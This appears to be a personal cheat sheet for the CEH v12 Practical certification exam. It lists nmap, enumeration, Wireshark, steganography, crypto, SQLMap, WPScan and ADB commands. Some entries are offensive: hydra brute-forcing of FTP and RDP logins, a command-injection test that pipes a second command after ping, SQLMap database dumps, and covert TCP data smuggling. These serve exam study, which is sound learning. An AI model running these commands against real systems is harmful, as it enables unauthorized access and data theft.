

# SCANNING NETWORK USING NMAP

Scanning network Live Host (ping sweep)	nmap -sP IP/CIDR
Scanning Live Host without port scan (ARP)	nmap -PR -sn IP/CIDR
Scripts+Version running on target	nmap -sC -sV IP/CIDR
OS of the target	nmap -O IP
All open ports of the target	nmap -p- IP/CIDR
Specific port scan of the target	nmap -p <port-number> IP/CIDR
Aggressive scan	nmap -A IP/CIDR
Scanning using NSE scripts	nmap --scripts <script_name> -p <port> IP/CIDR
Scripts+Version+Ports+OS scan	nmap -sC -sV -p- -A -v -T4 IP/CIDR

# SERVICE ENUMERATION

FTP>SNMP>SMB>RDP>NetBIOS

## FTP

```
nmap -sC -p 21 <ip>
hydra -L /usr/share/wordlists/metasploit/ -P <ip> ftp
hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt <ip> ftp
ftp <ip>
get file.txt (to download it)
ls
cat file.txt
```

## SNMP

```
nmap -sP <ip>
snmp-check <ip>
nmap -sU -p 161 --script=snmp-processes <target>
msfconsole
search snmp
```

snmp processes  
<https://nmap.org/nsedoc/scripts/>  
Find valid strings using metasploit

use auxiliary/scanner/snmp/snmp\_login

show options

ip a

set RHOSTS <ip>

show options

exploit

exit

nmap -sU -p 161 --script=snmp.interfaces <target>

<https://nmap.org/nsedoc/scripts/snmp.interfaces.html>

snmp-check <ip>

## SMB

nmap -p 445 --script smb.enum.shares <ip>

Shares details with permissions

File manager>Network>Windows Network>

Connect SMB GUI

On the bar (smb://<ip>)

<https://youtu.be/T55Z0spbweY?t=1656>

nmap -p 445 --script smb.enum.users <ip>

Enumerating users

nmap -p 445 --script smb.enum.users --script-args smb.username=<user>, smb.password=<pass> <ip>

nmap -p 445 --script smb.enum.groups --script-args smb.username=<user>, smb.password=<pass> <ip>

Enumerating groups

nmap -sC -sV -A -T4 -p 445 <ip>

Enumerating security level

nmap -p 445 --script smb.enum.services --script-args smb.username=<user>, smb.password=<pass> <ip>

Enumerating services

## RDP

nmap <ip>

Find port with RDP

msfconsole -q

Confirm port

search rdp

use auxiliary/scanner/rdp/rdp\_scanner

show options

set RHOSTS <ip>

set RPORT <port> (3333?)

exploit

exit

hydra -L /usr/share/metasploit-framework/data/wordlists/

Brute force RDP

hydra -L /usr/share/metasploit-framework/data/wordlists/commom\_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt rdp://<ip>

xfreerdp /u:<user> /p:<passwd> /v:<ip>:<port>

Xfreerdp to create RDP session

## NetBIOS

ip a

nmap -sP <ip+\*>

Enum network (last octet wildcard)

nmap -sV --script nbstat.nse <found ip>

Enum ip

Enum netbios

## WIRESHARK (traffic sniffing)

tcp.flags.syn==1

<https://youtu.be/2lchMa5VKnw?t=316>

Filtering packets (DoS attack)

left click frame>Follow>HTTP Stream

Follow Streams TCP/HTTP

left click frame>Follow>TCP Stream

Red part SENT blue RESPONSE from server

Stream button on right bottom 1,2..

Walkthrough stream numbers

Flag cypher for text

decipher algorithms (not required in the exam, **just the FLAG**)

File>Export Objects>HTTP>filter by Content Type>text/plain>Save

Find files

Select frame>left bottom icon near request number

Find comments

CTRL+F

Finding Strings

Could have a flag

## DOS/DDOS

Statistics>Conversations

Select IPV4>Select Bytes

The ip with the most requests are the ones attacking

Could be IPV6 too

## STEGANOGRAPHY

**SNOW** (hiding and extracting hidden data from txt file)

**OPENSTEGO** (hiding and extracting hidden data from image file)

**COVERT TCP** (hiding data TCP/IP packet headers)

## SNOW

Open in terminal (or powershell)

[https://youtu.be/aNHW1A\\_rpNs?t=218](https://youtu.be/aNHW1A_rpNs?t=218)

dir

SNOW.EXE -C -m "secret\_msg" -p "<passwd>" <name file in dir> <name output file>

Hiding data

SNOW.EXE -C -p "<passwd>" <name output file>

Extract data

## Openstego

Hide data>message file (browse&select txt file to hide)

Hiding text into image

Cover file (browse the image to hide the txt inside)

Name output file

[https://youtu.be/aNHW1A\\_rpNs?t=512](https://youtu.be/aNHW1A_rpNs?t=512)

Hide data button

Extract data (browse image)

Extract

Output select open

Password if needed

Extract data

if hash> hashes.com

## Covert TCP

cc -o covert\_tcp covert\_tcp.c

[https://youtu.be/aNHW1A\\_rpNs?t=845](https://youtu.be/aNHW1A_rpNs?t=845)

./cover\_tcp -dest <Dest-IP> -source <Source-IP> -source\_port 9999 -dest\_port 8888 -server -file  
/path/to/file.txt

For receiving/listening (need to be root)

./cover\_tcp -dest <Dest-IP> -source <Source-IP> -source\_port 8888 -dest\_port 9999 -server -file  
/path/to/file.txt

For sending (need to be root)

# CRYPTOGRAPHY

**Hashmyfiles** (calculating and comparing hashes of files)

**CryptoForge** (encrypting/decrypting the files)

**Cryptool** (encryption/decryption of hex data manipulating key length)

**VeraCrypt** (hiding and encrypting disk partitions)

**BcTextEncoder** (encoding/decoding txt in file (.hex))

## HashMyFiles

Drag files into hashmyfiles

check if tampered by comparing hashes

<https://youtu.be/DtWjUsbuMtk?t=219>

## CryptoForge

Left click file, option "Encrypt"

encrypt

Window with passphrase

<https://youtu.be/DtWjUsbuMtk?t=374>

Click on the file, passphrase to decrypt it

decrypt hash on hashes.com

## BcTextEncoder

Write text on Decoded plain>Encode>passwd

Encode

Write text on Encoded text>Decode>passwd

Decode and hashes.com

<https://youtu.be/DtWjUsbuMtk?t=495>

## Cryptool

File options>open>select file

hex format of the file

Analysis>select symmetric Encryption>Keylength>start

find flag or hashes.com

<https://youtu.be/DtWjUsbuMtk?t=632>

## VeraCrypt

Create volume>create encrypted file container>hidden veracrypt volume>

<https://youtu.be/DtWjUsbuMtk?t=789>

select file>select algorithm>select space>passwd outer partition>

scroll mouse>format>next hidden volume>select space (smaller than outer)>

>passwd>next>format>ok>next>cancel window

mount partition>select device>passwd related to the partition

## WEB

**SQLMap** (finding SQL injection vulnerabilities)

**Wpscan** (scanning and finding issues wordpress websites)

**Burpsuite** (analysing and manipulating the traffic)

**ADB** (connecting android devices to pc and binary analysis)

## SQLMap

ping -c 3 <ip>

command execution

ping -c 3 <ip> | pwd

id=	Find SQLi
	Intercept with burp
Intercept with burp, save item (req.txt)	
cd dir saved file	
sqlmap -r <req.txt> --dbs	
sqlmap -r <req.txt> -D <dbs>	
sqlmap -r <req.txt> -D <dbs> --tables	
sqlmap -r <req.txt> -D <dbs> --tables --columns	
sqlmap -r <req.txt> -D <dbs> --dump	

## WpScan

ping <ip>	
wpscan --url <url> --enumerate u	wpscan -h info

## ADB

adb connect <ip>:<port>	adb devices?
adb shell	
ls, whoami	
cd sdcard/	find secret.txt
cat secret.txt	

<https://github.com/hunterxxx/CEH-v12-Practical>